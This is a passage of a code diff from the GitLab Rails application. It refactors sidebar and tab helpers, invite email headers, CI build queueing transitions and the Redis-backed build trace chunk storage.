form_data[:jira_issue_transition_id] = integration.jira_issue_transition_id
end
diff --git a/app/helpers/sidebars_helper.rb b/app/helpers/sidebars_helper.rb
index 0fc306a3f2e..39ad8ed8a0f 100644
--- a/app/helpers/sidebars_helper.rb
+++ b/app/helpers/sidebars_helper.rb
@@ -20,6 +20,14 @@ module SidebarsHelper
Sidebars::Projects::Context.new(**context_data)
end
+ def sidebar_refactor_enabled?
+ Feature.enabled?(:sidebar_refactor, current_user, default_enabled: :yaml)
+ end
+
+ def sidebar_refactor_disabled?
+ !sidebar_refactor_enabled?
+ end
+
private
def sidebar_project_tracking_attrs
diff --git a/app/helpers/tab_helper.rb b/app/helpers/tab_helper.rb
index 1d3242ca44a..e64e1c935dd 100644
--- a/app/helpers/tab_helper.rb
+++ b/app/helpers/tab_helper.rb
@@ -123,7 +123,21 @@ module TabHelper
def route_matches_pages?(pages)
Array(pages).compact.any? do |single_page|
- current_page?(single_page)
+ # We need to distinguish between Hash argument and other types of
+ # arguments (for example String) in order to fix deprecation kwargs
+ # warning.
+ #
+ # This can be refactored to
+ #
+ # current_page?(single_page)
+ #
+ # When we migrate to Ruby 3 or the Rails version contains the following:
+ # https://github.com/rails/rails/commit/81d90d81d0ee1fc1a649ab705119a71f2d04c8a2
+ if single_page.is_a?(Hash)
+ current_page?(**single_page)
+ else
+ current_page?(single_page)
+ end
end
end
diff --git a/app/helpers/tags_helper.rb b/app/helpers/tags_helper.rb
index bfc8803f514..86289ec8ed2 100644
--- a/app/helpers/tags_helper.rb
+++ b/app/helpers/tags_helper.rb
@@ -15,16 +15,6 @@ module TagsHelper
project_tags_path(@project, @id, options)
end
- def tag_list(project)
- html = []
-
- project.tag_list.each do |tag|
- html << link_to(tag, tag_path(tag))
- end
-
- html.join.html_safe
- end
-
def protected_tag?(project, tag)
ProtectedTag.protected?(project, tag.name)
end
diff --git a/app/helpers/user_callouts_helper.rb b/app/helpers/user_callouts_helper.rb
index 23db3be631c..c44da915105 100644
--- a/app/helpers/user_callouts_helper.rb
+++ b/app/helpers/user_callouts_helper.rb
@@ -1,22 +1,16 @@
# frozen_string_literal: true
module UserCalloutsHelper
- ADMIN_INTEGRATIONS_MOVED = 'admin_integrations_moved'
GKE_CLUSTER_INTEGRATION = 'gke_cluster_integration'
GCP_SIGNUP_OFFER = 'gcp_signup_offer'
SUGGEST_POPOVER_DISMISSED = 'suggest_popover_dismissed'
SERVICE_TEMPLATES_DEPRECATED_CALLOUT = 'service_templates_deprecated_callout'
TABS_POSITION_HIGHLIGHT = 'tabs_position_highlight'
- WEBHOOKS_MOVED = 'webhooks_moved'
CUSTOMIZE_HOMEPAGE = 'customize_homepage'
FEATURE_FLAGS_NEW_VERSION = 'feature_flags_new_version'
REGISTRATION_ENABLED_CALLOUT = 'registration_enabled_callout'
UNFINISHED_TAG_CLEANUP_CALLOUT = 'unfinished_tag_cleanup_callout'
- def show_admin_integrations_moved?
- !user_dismissed?(ADMIN_INTEGRATIONS_MOVED)
- end
-
def show_gke_cluster_integration_callout?(project)
active_nav_link?(controller: sidebar_operations_paths) &&
can?(current_user, :create_cluster, project) &&
@@ -48,10 +42,6 @@ module UserCalloutsHelper
!user_dismissed?(SERVICE_TEMPLATES_DEPRECATED_CALLOUT)
end
- def show_webhooks_moved_alert?
- !user_dismissed?(WEBHOOKS_MOVED)
- end
-
def show_customize_homepage_banner?
!user_dismissed?(CUSTOMIZE_HOMEPAGE)
end
diff --git a/app/helpers/version_check_helper.rb b/app/helpers/version_check_helper.rb
index 6f94c241914..f8d7264d4cc 100644
--- a/app/helpers/version_check_helper.rb
+++ b/app/helpers/version_check_helper.rb
@@ -19,7 +19,7 @@ module VersionCheckHelper
end
def source_host_url
- Gitlab::COM_URL
+ Gitlab::Saas.com_url
end
def source_code_group
diff --git a/app/mailers/emails/in_product_marketing.rb b/app/mailers/emails/in_product_marketing.rb
index 97243660512..e745cd51a55 100644
--- a/app/mailers/emails/in_product_marketing.rb
+++ b/app/mailers/emails/in_product_marketing.rb
@@ -14,8 +14,9 @@ module Emails
def in_product_marketing_email(recipient_id, group_id, track, series)
group = Group.find(group_id)
- email = User.find(recipient_id).notification_email_for(group)
- @message = Gitlab::Email::Message::InProductMarketing.for(track).new(group: group, series: series)
+ user = User.find(recipient_id)
+ email = user.notification_email_for(group)
+ @message = Gitlab::Email::Message::InProductMarketing.for(track).new(group: group, user: user, series: series)
mail_to(to: email, subject: @message.subject_line)
end
diff --git a/app/mailers/emails/members.rb b/app/mailers/emails/members.rb
index 674a9bfc4eb..d1870065845 100644
--- a/app/mailers/emails/members.rb
+++ b/app/mailers/emails/members.rb
@@ -53,18 +53,10 @@ module Emails
return unless member_exists?
- subject_line =
- if member.created_by
- subject(s_("MemberInviteEmail|%{member_name} invited you to join GitLab") % { member_name: member.created_by.name })
- else
- subject(s_("MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}") % { project_or_group: member_source.human_name, project_or_group_name: member_source.model_name.singular })
- end
-
- member_email_with_layout(
- to: member.invite_email,
- subject: subject_line,
- layout: 'unknown_user_mailer'
- )
+ mail(to: member.invite_email, subject: invite_email_subject, **invite_email_headers) do |format|
+ format.html { render layout: 'unknown_user_mailer' }
+ format.text { render layout: 'unknown_user_mailer' }
+ end
end
def member_invited_reminder_email(member_source_type, member_id, token, reminder_index)
@@ -149,6 +141,25 @@ module Emails
private
+ def invite_email_subject
+ if member.created_by
+ subject(s_("MemberInviteEmail|%{member_name} invited you to join GitLab") % { member_name: member.created_by.name })
+ else
+ subject(s_("MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}") % { project_or_group: member_source.human_name, project_or_group_name: member_source.model_name.singular })
+ end
+ end
+
+ def invite_email_headers
+ if Gitlab.dev_env_or_com?
+ {
+ 'X-Mailgun-Tag' => 'invite_email',
+ 'X-Mailgun-Variables' => { 'invite_token' => @token }.to_json
+ }
+ else
+ {}
+ end
+ end
+
def member_exists?
Gitlab::AppLogger.info("Tried to send an email invitation for a deleted group. Member id: #{@member_id}") if member.blank?
member.present?
diff --git a/app/mailers/emails/service_desk.rb b/app/mailers/emails/service_desk.rb
index 66eb2c646a9..e8034ef9b57 100644
--- a/app/mailers/emails/service_desk.rb
+++ b/app/mailers/emails/service_desk.rb
@@ -20,7 +20,9 @@ module Emails
options = service_desk_options(email_sender, 'thank_you', @issue.external_author)
.merge(subject: "Re: #{subject_base}")
- mail_new_thread(@issue, options)
+ mail_new_thread(@issue, options).tap do
+ Gitlab::Metrics::BackgroundTransaction.current&.add_event(:service_desk_thank_you_email)
+ end
end
def service_desk_new_note_email(issue_id, note_id, recipient)
@@ -31,7 +33,9 @@ module Emails
options = service_desk_options(email_sender, 'new_note', recipient)
.merge(subject: subject_base)
- mail_answer_thread(@issue, options)
+ mail_answer_thread(@issue, options).tap do
+ Gitlab::Metrics::BackgroundTransaction.current&.add_event(:service_desk_new_note_email)
+ end
end
private
diff --git a/app/mailers/previews/notify_preview.rb b/app/mailers/previews/notify_preview.rb
index df0d1774d6b..ceeb178e9c2 100644
--- a/app/mailers/previews/notify_preview.rb
+++ b/app/mailers/previews/notify_preview.rb
@@ -146,7 +146,7 @@ class NotifyPreview < ActionMailer::Preview
end
def member_invited_email
- Notify.member_invited_email('project', user.id, '1234').message
+ Notify.member_invited_email('project', member.id, '1234').message
end
def pages_domain_enabled_email
diff --git a/app/models/analytics/cycle_analytics/project_level.rb b/app/models/analytics/cycle_analytics/project_level.rb
new file mode 100644
index 00000000000..7a73bc75ed6
--- /dev/null
+++ b/app/models/analytics/cycle_analytics/project_level.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+module Analytics
+ module CycleAnalytics
+ class ProjectLevel
+ attr_reader :project, :options
+
+ def initialize(project:, options:)
+ @project = project
+ @options = options.merge(project: project)
+ end
+
+ def summary
+ @summary ||= ::Gitlab::CycleAnalytics::StageSummary.new(project,
+ options: options,
+ current_user: options[:current_user]).data
+ end
+
+ def permissions(user:)
+ Gitlab::CycleAnalytics::Permissions.get(user: user, project: project)
+ end
+
+ def stats
+ @stats ||= default_stage_names.map do |stage_name|
+ self[stage_name].as_json
+ end
+ end
+
+ def [](stage_name)
+ ::CycleAnalytics::ProjectLevelStageAdapter.new(build_stage(stage_name), options)
+ end
+
+ private
+
+ def build_stage(stage_name)
+ stage_params = stage_params_by_name(stage_name).merge(project: project)
+ Analytics::CycleAnalytics::ProjectStage.new(stage_params)
+ end
+
+ def stage_params_by_name(name)
+ Gitlab::Analytics::CycleAnalytics::DefaultStages.find_by_name!(name)
+ end
+
+ def default_stage_names
+ Gitlab::Analytics::CycleAnalytics::DefaultStages.symbolized_stage_names
+ end
+ end
+ end
+end
diff --git a/app/models/analytics/usage_trends/measurement.rb b/app/models/analytics/usage_trends/measurement.rb
index 46c5d56d210..02e239ca0ef 100644
--- a/app/models/analytics/usage_trends/measurement.rb
+++ b/app/models/analytics/usage_trends/measurement.rb
@@ -3,7 +3,7 @@
module Analytics
module UsageTrends
class Measurement < ApplicationRecord
- self.table_name = 'analytics_instance_statistics_measurements'
+ self.table_name = 'analytics_usage_trends_measurements'
enum identifier: {
projects: 1,
diff --git a/app/models/application_record.rb b/app/models/application_record.rb
index 5e5bc00458e..a93348a3b27 100644
--- a/app/models/application_record.rb
+++ b/app/models/application_record.rb
@@ -53,10 +53,12 @@ class ApplicationRecord < ActiveRecord::Base
# Start a new transaction with a shorter-than-usual statement timeout. This is
# currently one third of the default 15-second timeout
def self.with_fast_read_statement_timeout(timeout_ms = 5000)
- transaction(requires_new: true) do
- connection.exec_query("SET LOCAL statement_timeout = #{timeout_ms}")
+ ::Gitlab::Database::LoadBalancing::Session.current.fallback_to_replicas_for_ambiguous_queries do
+ transaction(requires_new: true) do
+ connection.exec_query("SET LOCAL statement_timeout = #{timeout_ms}")
- yield
+ yield
+ end
end
end
@@ -85,5 +87,3 @@ class ApplicationRecord < ActiveRecord::Base
enum(enum_mod.key => values)
end
end
-
-ApplicationRecord.prepend_mod_with('ApplicationRecordHelpers')
diff --git a/app/models/application_setting.rb b/app/models/application_setting.rb
index 65800e40d6c..f8047ed9b78 100644
--- a/app/models/application_setting.rb
+++ b/app/models/application_setting.rb
@@ -273,6 +273,18 @@ class ApplicationSetting < ApplicationRecord
greater_than_or_equal_to: Gitlab::Git::Diff::DEFAULT_MAX_PATCH_BYTES,
less_than_or_equal_to: Gitlab::Git::Diff::MAX_PATCH_BYTES_UPPER_BOUND }
+ validates :diff_max_files,
+ presence: true,
+ numericality: { only_integer: true,
+ greater_than_or_equal_to: Commit::DEFAULT_MAX_DIFF_FILES_SETTING,
+ less_than_or_equal_to: Commit::MAX_DIFF_FILES_SETTING_UPPER_BOUND }
+
+ validates :diff_max_lines,
+ presence: true,
+ numericality: { only_integer: true,
+ greater_than_or_equal_to: Commit::DEFAULT_MAX_DIFF_LINES_SETTING,
+ less_than_or_equal_to: Commit::MAX_DIFF_LINES_SETTING_UPPER_BOUND }
+
validates :user_default_internal_regex, js_regex: true, allow_nil: true
validates :personal_access_token_prefix,
diff --git a/app/models/application_setting_implementation.rb b/app/models/application_setting_implementation.rb
index bf9df3b9efc..b613e698471 100644
--- a/app/models/application_setting_implementation.rb
+++ b/app/models/application_setting_implementation.rb
@@ -60,6 +60,8 @@ module ApplicationSettingImplementation
default_projects_limit: Settings.gitlab['default_projects_limit'],
default_snippet_visibility: Settings.gitlab.default_projects_features['visibility_level'],
diff_max_patch_bytes: Gitlab::Git::Diff::DEFAULT_MAX_PATCH_BYTES,
+ diff_max_files: Commit::DEFAULT_MAX_DIFF_FILES_SETTING,
+ diff_max_lines: Commit::DEFAULT_MAX_DIFF_LINES_SETTING,
disable_feed_token: false,
disabled_oauth_sign_in_sources: [],
dns_rebinding_protection_enabled: true,
diff --git a/app/models/bulk_imports/export.rb b/app/models/bulk_imports/export.rb
index 59ca4dbfec6..371b58dea03 100644
--- a/app/models/bulk_imports/export.rb
+++ b/app/models/bulk_imports/export.rb
@@ -4,6 +4,10 @@ module BulkImports
class Export < ApplicationRecord
include Gitlab::Utils::StrongMemoize
+ STARTED = 0
+ FINISHED = 1
+ FAILED = -1
+
self.table_name = 'bulk_import_exports'
belongs_to :project, optional: true
@@ -18,9 +22,9 @@ module BulkImports
validate :portable_relation?
state_machine :status, initial: :started do
- state :started, value: 0
- state :finished, value: 1
- state :failed, value: -1
+ state :started, value: STARTED
+ state :finished, value: FINISHED
+ state :failed, value: FAILED
event :start do
transition any => :started
diff --git a/app/models/bulk_imports/export_status.rb b/app/models/bulk_imports/export_status.rb
new file mode 100644
index 00000000000..98804d18f27
--- /dev/null
+++ b/app/models/bulk_imports/export_status.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+module BulkImports
+ class ExportStatus
+ include Gitlab::Utils::StrongMemoize
+
+ def initialize(pipeline_tracker, relation)
+ @pipeline_tracker = pipeline_tracker
+ @relation = relation
+ @entity = @pipeline_tracker.entity
+ @configuration = @entity.bulk_import.configuration
+ @client = Clients::HTTP.new(uri: @configuration.url, token: @configuration.access_token)
+ end
+
+ def started?
+ export_status['status'] == Export::STARTED
+ end
+
+ def failed?
+ export_status['status'] == Export::FAILED
+ end
+
+ def error
+ export_status['error']
+ end
+
+ private
+
+ attr_reader :client, :entity, :relation
+
+ def export_status
+ strong_memoize(:export_status) do
+ fetch_export_status.find { |item| item['relation'] == relation }
+ end
+ rescue StandardError => e
+ { 'status' => Export::FAILED, 'error' => e.message }
+ end
+
+ def fetch_export_status
+ client.get(status_endpoint).parsed_response
+ end
+
+ def status_endpoint
+ "/groups/#{entity.encoded_source_full_path}/export_relations/status"
+ end
+ end
+end
diff --git a/app/models/bulk_imports/file_transfer/base_config.rb b/app/models/bulk_imports/file_transfer/base_config.rb
index bb04e84ad72..7396f9d3655 100644
--- a/app/models/bulk_imports/file_transfer/base_config.rb
+++ b/app/models/bulk_imports/file_transfer/base_config.rb
@@ -13,6 +13,14 @@ module BulkImports
attributes_finder.find_root(portable_class_sym)
end
+ def top_relation_tree(relation)
+ portable_relations_tree[relation.to_s]
+ end
+
+ def relation_excluded_keys(relation)
+ attributes_finder.find_excluded_keys(relation)
+ end
+
def export_path
strong_memoize(:export_path) do
relative_path = File.join(base_export_path, SecureRandom.hex)
@@ -47,6 +55,10 @@ module BulkImports
@portable_class_sym ||= portable_class.to_s.demodulize.underscore.to_sym
end
+ def portable_relations_tree
+ @portable_relations_tree ||= attributes_finder.find_relations_tree(portable_class_sym).deep_stringify_keys
+ end
+
def import_export_yaml
raise NotImplementedError
end
diff --git a/app/models/chat_team.rb b/app/models/chat_team.rb
index 6e39d7e2204..ee786ae6cb7 100644
--- a/app/models/chat_team.rb
+++ b/app/models/chat_team.rb
@@ -7,8 +7,8 @@ class ChatTeam < ApplicationRecord
belongs_to :namespace
def remove_mattermost_team(current_user)
- Mattermost::Team.new(current_user).destroy(team_id: team_id)
- rescue Mattermost::ClientError => e
+ ::Mattermost::Team.new(current_user).destroy(team_id: team_id)
+ rescue ::Mattermost::ClientError => e
# Either the group is not found, or the user doesn't have the proper
# access on the mattermost instance. In the first case, we're done either way
# in the latter case, we can't recover by retrying, so we just log what happened
diff --git a/app/models/ci/bridge.rb b/app/models/ci/bridge.rb
index 352229c64da..577bca282ef 100644
--- a/app/models/ci/bridge.rb
+++ b/app/models/ci/bridge.rb
@@ -163,7 +163,7 @@ module Ci
def expanded_environment_name
end
- def instantized_environment
+ def persisted_environment
end
def execute_hooks
diff --git a/app/models/ci/build.rb b/app/models/ci/build.rb
index 46fc87a6ea8..fdfffd9b0cd 100644
--- a/app/models/ci/build.rb
+++ b/app/models/ci/build.rb
@@ -11,6 +11,7 @@ module Ci
include Importable
include Ci::HasRef
include IgnorableColumns
+ include TaggableQueries
BuildArchivedError = Class.new(StandardError)
@@ -37,6 +38,8 @@ module Ci
has_one :deployment, as: :deployable, class_name: 'Deployment'
has_one :pending_state, class_name: 'Ci::BuildPendingState', inverse_of: :build
+ has_one :queuing_entry, class_name: 'Ci::PendingBuild', foreign_key: :build_id
+ has_one :runtime_metadata, class_name: 'Ci::RunningBuild', foreign_key: :build_id
has_many :trace_sections, class_name: 'Ci::BuildTraceSection'
has_many :trace_chunks, class_name: 'Ci::BuildTraceChunk', foreign_key: :build_id, inverse_of: :build
has_many :report_results, class_name: 'Ci::BuildReportResult', inverse_of: :build
@@ -88,16 +91,6 @@ module Ci
end
end
- # Initializing an object instead of fetching `persisted_environment` for avoiding unnecessary queries.
- # We're planning to introduce a direct relationship between build and environment
- # in https://gitlab.com/gitlab-org/gitlab/-/issues/326445 to let us to preload
- # in batch.
- def instantized_environment
- return unless has_environment?
-
- ::Environment.new(project: self.project, name: self.expanded_environment_name)
- end
-
serialize :options # rubocop:disable Cop/ActiveRecordSerialize
serialize :yaml_variables, Gitlab::Serializer::Ci::Variables # rubocop:disable Cop/ActiveRecordSerialize
@@ -212,6 +205,8 @@ module Ci
end
scope :with_coverage, -> { where.not(coverage: nil) }
+ scope :without_coverage, -> { where(coverage: nil) }
+ scope :with_coverage_regex, -> { where.not(coverage_regex: nil) }
scope :for_project, -> (project_id) { where(project_id: project_id) }
@@ -222,6 +217,8 @@ module Ci
before_save :ensure_token
before_destroy { unscoped_project }
+ after_save :stick_build_if_status_changed
+
after_create unless: :importing? do |build|
run_after_commit { BuildHooksWorker.perform_async(build.id) }
end
@@ -304,12 +301,35 @@ module Ci
end
end
- after_transition any => [:pending] do |build|
+ # rubocop:disable CodeReuse/ServiceClass
+ after_transition any => [:pending] do |build, transition|
+ Ci::UpdateBuildQueueService.new.push(build, transition)
+
build.run_after_commit do
BuildQueueWorker.perform_async(id)
end
end
+ after_transition pending: any do |build, transition|
+ Ci::UpdateBuildQueueService.new.pop(build, transition)
+ end
+
+ after_transition any => [:running] do |build, transition|
+ Ci::UpdateBuildQueueService.new.track(build, transition)
+ end
+
+ after_transition running: any do |build, transition|
+ Ci::UpdateBuildQueueService.new.untrack(build, transition)
+
+ Ci::BuildRunnerSession.where(build: build).delete_all
+ end
+
+ # rubocop:enable CodeReuse/ServiceClass
+ #
+ after_transition pending: :running do |build|
+ build.ensure_metadata.update_timeout_state
+ end
+
after_transition pending: :running do |build|
build.deployment&.run
@@ -362,14 +382,6 @@ module Ci
end
end
- after_transition pending: :running do |build|
- build.ensure_metadata.update_timeout_state
- end
-
- after_transition running: any do |build|
- Ci::BuildRunnerSession.where(build: build).delete_all
- end
-
after_transition any => [:skipped, :canceled] do |build, transition|
if transition.to_name == :skipped
build.deployment&.skip
@@ -379,6 +391,33 @@ module Ci
end
end
+ def self.build_matchers(project)
+ unique_params = [
+ :protected,
+ Arel.sql("(#{arel_tag_names_array.to_sql})")
+ ]
+
+ group(*unique_params).pluck('array_agg(id)', *unique_params).map do |values|
+ Gitlab::Ci::Matching::BuildMatcher.new({
+ build_ids: values[0],
+ protected: values[1],
+ tag_list: values[2],
+ project: project
+ })
+ end
+ end
+
+ def build_matcher
+ strong_memoize(:build_matcher) do
+ Gitlab::Ci::Matching::BuildMatcher.new({
+ protected: protected?,
+ tag_list: tag_list,
+ build_ids: [id],
+ project: project
+ })
+ end
+ end
+
def auto_retry_allowed?
auto_retry.allowed?
end
@@ -442,7 +481,13 @@ module Ci
end
def retryable?
- !archived? && (success? || failed? || canceled?)
+ if Feature.enabled?(:prevent_retry_of_retried_jobs, project, default_enabled: :yaml)
+ return false if retried? || archived?
+
+ success? || failed? || canceled?
+ else
+ !archived? && (success? || failed? || canceled?)
+ end
end
def retries_count
@@ -560,6 +605,8 @@ module Ci
variables.concat(persisted_environment.predefined_variables)
+ variables.append(key: 'CI_ENVIRONMENT_ACTION', value: environment_action)
+
# Here we're passing unexpanded environment_url for runner to expand,
# and we need to make sure that CI_ENVIRONMENT_NAME and
# CI_ENVIRONMENT_SLUG so on are available for the URL be expanded.
@@ -716,22 +763,14 @@ module Ci
end
def any_runners_online?
- if Feature.enabled?(:runners_cached_states, project, default_enabled: :yaml)
- cache_for_online_runners do
- project.any_online_runners? { |runner| runner.match_build_if_online?(self) }
- end
- else
- project.any_active_runners? { |runner| runner.match_build_if_online?(self) }
+ cache_for_online_runners do
+ project.any_online_runners? { |runner| runner.match_build_if_online?(self) }
end
end
def any_runners_available?
- if Feature.enabled?(:runners_cached_states, project, default_enabled: :yaml)
- cache_for_available_runners do
- project.active_runners.exists?
- end
- else
- project.any_active_runners?
+ cache_for_available_runners do
+ project.active_runners.exists?
end
end
@@ -1039,6 +1078,28 @@ module Ci
options.dig(:allow_failure_criteria, :exit_codes).present?
end
+ def create_queuing_entry!
+ ::Ci::PendingBuild.upsert_from_build!(self)
+ end
+
+ ##
+ # We can have only one queuing entry or running build tracking entry,
+ # because there is a unique index on `build_id` in each table, but we need
+ # a relation to remove these entries more efficiently in a single statement
+ # without actually loading data.
+ #
+ def all_queuing_entries
+ ::Ci::PendingBuild.where(build_id: self.id)
+ end
+
+ def all_runtime_metadata
+ ::Ci::RunningBuild.where(build_id: self.id)
+ end
+
+ def shared_runner_build?
+ runner&.instance_type?
+ end
+
protected
def run_status_commit_hooks!
@@ -1049,6 +1110,13 @@ module Ci
private
+ def stick_build_if_status_changed
+ return unless saved_change_to_status?
+ return unless running?
+
+ ::Gitlab::Database::LoadBalancing::Sticking.stick(:build, id)
+ end
+
def status_commit_hooks
@status_commit_hooks ||= []
end
diff --git a/app/models/ci/build_dependencies.rb b/app/models/ci/build_dependencies.rb
index 716d919487d..d39e0411a79 100644
--- a/app/models/ci/build_dependencies.rb
+++ b/app/models/ci/build_dependencies.rb
@@ -143,8 +143,6 @@ module Ci
def specified_cross_pipeline_dependencies
strong_memoize(:specified_cross_pipeline_dependencies) do
- next [] unless Feature.enabled?(:ci_cross_pipeline_artifacts_download, processable.project, default_enabled: true)
-
specified_cross_dependencies.select { |dep| dep[:pipeline] && dep[:artifacts] }
end
end
diff --git a/app/models/ci/build_metadata.rb b/app/models/ci/build_metadata.rb
index 4094bdb26dc..bb2dac5cd43 100644
--- a/app/models/ci/build_metadata.rb
+++ b/app/models/ci/build_metadata.rb
@@ -10,6 +10,7 @@ module Ci
include Presentable
include ChronicDurationAttribute
include Gitlab::Utils::StrongMemoize
+ include IgnorableColumns
self.table_name = 'ci_builds_metadata'
@@ -21,8 +22,8 @@ module Ci
validates :build, presence: true
validates :secrets, json_schema: { filename: 'build_metadata_secrets' }
- serialize :config_options, Serializers::JSON # rubocop:disable Cop/ActiveRecordSerialize
- serialize :config_variables, Serializers::JSON # rubocop:disable Cop/ActiveRecordSerialize
+ serialize :config_options, Serializers::Json # rubocop:disable Cop/ActiveRecordSerialize
+ serialize :config_variables, Serializers::Json # rubocop:disable Cop/ActiveRecordSerialize
chronic_duration_attr_reader :timeout_human_readable, :timeout
@@ -37,6 +38,8 @@ module Ci
job_timeout_source: 4
}
+ ignore_column :build_id_convert_to_bigint, remove_with: '14.2', remove_after: '2021-08-22'
+
def update_timeout_state
timeout = timeout_with_highest_precedence
diff --git a/app/models/ci/build_trace_chunk.rb b/app/models/ci/build_trace_chunk.rb
index 719511bbb8a..25f4a06088d 100644
--- a/app/models/ci/build_trace_chunk.rb
+++ b/app/models/ci/build_trace_chunk.rb
@@ -14,7 +14,13 @@ module Ci
belongs_to :build, class_name: "Ci::Build", foreign_key: :build_id
- default_value_for :data_store, :redis
+ default_value_for :data_store do
+ if Feature.enabled?(:dedicated_redis_trace_chunks, type: :ops)
+ :redis_trace_chunks
+ else
+ :redis
+ end
+ end
after_create { metrics.increment_trace_operation(operation: :chunked) }
@@ -25,22 +31,22 @@ module Ci
FailedToPersistDataError = Class.new(StandardError)
- # Note: The ordering of this hash is related to the precedence of persist store.
- # The bottom item takes the highest precedence, and the top item takes the lowest precedence.
DATA_STORES = {
redis: 1,
database: 2,
- fog: 3
+ fog: 3,
+ redis_trace_chunks: 4
}.freeze
STORE_TYPES = DATA_STORES.keys.to_h do |store|
- [store, "Ci::BuildTraceChunks::#{store.capitalize}".constantize]
+ [store, "Ci::BuildTraceChunks::#{store.to_s.camelize}".constantize]
end.freeze
+ LIVE_STORES = %i[redis redis_trace_chunks].freeze
enum data_store: DATA_STORES
- scope :live, -> { redis }
- scope :persisted, -> { not_redis.order(:chunk_index) }
+ scope :live, -> { where(data_store: LIVE_STORES) }
+ scope :persisted, -> { where.not(data_store: LIVE_STORES).order(:chunk_index) }
class << self
def all_stores
@@ -48,8 +54,7 @@ module Ci
end
def persistable_store
- # get first available store from the back of the list
- all_stores.reverse.find { |store| get_store_class(store).available? }
+ STORE_TYPES[:fog].available? ? :fog : :database
end
def get_store_class(store)
@@ -85,16 +90,10 @@ module Ci
# change the behavior in CE.
#
def with_read_consistency(build, &block)
- return yield unless consistent_reads_enabled?(build)
-
::Gitlab::Database::Consistency
.with_read_consistency(&block)
end
- def consistent_reads_enabled?(build)
- Feature.enabled?(:gitlab_ci_trace_read_consistency, build.project, type: :development, default_enabled: true)
- end
-
##
# Sometimes we do not want to read raw data. This method makes it easier
# to find attributes that are just metadata excluding raw data.
@@ -201,7 +200,7 @@ module Ci
end
def flushed?
- !redis?
+ !live?
end
def migrated?
@@ -209,7 +208,7 @@ module Ci
end
def live?
- redis?
+ LIVE_STORES.include?(data_store.to_sym)
end
def <=>(other)
diff --git a/app/models/ci/build_trace_chunks/database.rb b/app/models/ci/build_trace_chunks/database.rb
index 7448afba4c2..895028778a9 100644
--- a/app/models/ci/build_trace_chunks/database.rb
+++ b/app/models/ci/build_trace_chunks/database.rb
@@ -3,10 +3,6 @@
module Ci
module BuildTraceChunks
class Database
- def available?
- true
- end
-
def keys(relation)
[]
end
diff --git a/app/models/ci/build_trace_chunks/fog.rb b/app/models/ci/build_trace_chunks/fog.rb
index cbf0c0a1696..fab85fae33d 100644
--- a/app/models/ci/build_trace_chunks/fog.rb
+++ b/app/models/ci/build_trace_chunks/fog.rb
@@ -3,10 +3,18 @@
module Ci
module BuildTraceChunks
class Fog
- def available?
+ def self.available?
object_store.enabled
end
+ def self.object_store
+ Gitlab.config.artifacts.object_store
+ end
+
+ def available?
+ self.class.available?
+ end
+
def data(model)
files.get(key(model))&.body
rescue Excon::Error::NotFound
@@ -85,7 +93,7 @@ module Ci
end
def object_store
- Gitlab.config.artifacts.object_store
+ self.class.object_store
end
def object_store_raw_config
diff --git a/app/models/ci/build_trace_chunks/redis.rb b/app/models/ci/build_trace_chunks/redis.rb
index 003ec107895..46f275636e1 100644
--- a/app/models/ci/build_trace_chunks/redis.rb
+++ b/app/models/ci/build_trace_chunks/redis.rb
@@ -2,92 +2,11 @@
module Ci
module BuildTraceChunks
- class Redis
- CHUNK_REDIS_TTL = 1.week
- LUA_APPEND_CHUNK = <<~EOS
- local key, new_data, offset = KEYS[1], ARGV[1], ARGV[2]
- local length = new_data:len()
- local expire = #{CHUNK_REDIS_TTL.seconds}
- local current_size = redis.call("strlen", key)
- offset = tonumber(offset)
-
- if offset == 0 then
- -- overwrite everything
- redis.call("set", key, new_data, "ex", expire)
- return redis.call("strlen", key)
- elseif offset > current_size then
- -- offset range violation
- return -1
- elseif offset + length >= current_size then
- -- efficiently append or overwrite and append
- redis.call("expire", key, expire)
- return redis.call("setrange", key, offset, new_data)
- else
- -- append and truncate
- local current_data = redis.call("get", key)
- new_data = current_data:sub(1, offset) .. new_data
- redis.call("set", key, new_data, "ex", expire)
- return redis.call("strlen", key)
- end
- EOS
-
- def available?
- true
- end
-
- def data(model)
- Gitlab::Redis::SharedState.with do |redis|
- redis.get(key(model))
- end
- end
-
- def set_data(model, new_data)
- Gitlab::Redis::SharedState.with do |redis|
- redis.set(key(model), new_data, ex: CHUNK_REDIS_TTL)
- end
- end
-
- def append_data(model, new_data, offset)
- Gitlab::Redis::SharedState.with do |redis|
- redis.eval(LUA_APPEND_CHUNK, keys: [key(model)], argv: [new_data, offset])
- end
- end
-
- def size(model)
- Gitlab::Redis::SharedState.with do |redis|
- redis.strlen(key(model))
- end
- end
-
- def delete_data(model)
- delete_keys([[model.build_id, model.chunk_index]])
- end
-
- def keys(relation)
- relation.pluck(:build_id, :chunk_index)
- end
-
- def delete_keys(keys)
- return if keys.empty?
-
- keys = keys.map { |key| key_raw(*key) }
-
- Gitlab::Redis::SharedState.with do |redis|
- # https://gitlab.com/gitlab-org/gitlab/-/issues/224171
- Gitlab::Instrumentation::RedisClusterValidator.allow_cross_slot_commands do
- redis.del(keys)
- end
- end
- end
-
+ class Redis < RedisBase
private
- def key(model)
- key_raw(model.build_id, model.chunk_index)
- end
-
- def key_raw(build_id, chunk_index)
- "gitlab:ci:trace:#{build_id.to_i}:chunks:#{chunk_index.to_i}"
+ def with_redis
+ Gitlab::Redis::SharedState.with { |redis| yield(redis) }
end
end
end
diff --git a/app/models/ci/build_trace_chunks/redis_base.rb b/app/models/ci/build_trace_chunks/redis_base.rb
new file mode 100644
index 00000000000..3b7a844d122
--- /dev/null
+++ b/app/models/ci/build_trace_chunks/redis_base.rb
@@ -0,0 +1,90 @@
+# frozen_string_literal: true
+
+module Ci
+ module BuildTraceChunks
+ class RedisBase
+ CHUNK_REDIS_TTL = 1.week
+ LUA_APPEND_CHUNK = <<~EOS
+ local key, new_data, offset = KEYS[1], ARGV[1], ARGV[2]
+ local length = new_data:len()
+ local expire = #{CHUNK_REDIS_TTL.seconds}
+ local current_size = redis.call("strlen", key)
+ offset = tonumber(offset)
+
+ if offset == 0 then
+ -- overwrite everything
+ redis.call("set", key, new_data, "ex", expire)
+ return redis.call("strlen", key)
+ elseif offset > current_size then
+ -- offset range violation
+ return -1
+ elseif offset + length >= current_size then
+ -- efficiently append or overwrite and append
+ redis.call("expire", key, expire)
+ return redis.call("setrange", key, offset, new_data)
+ else
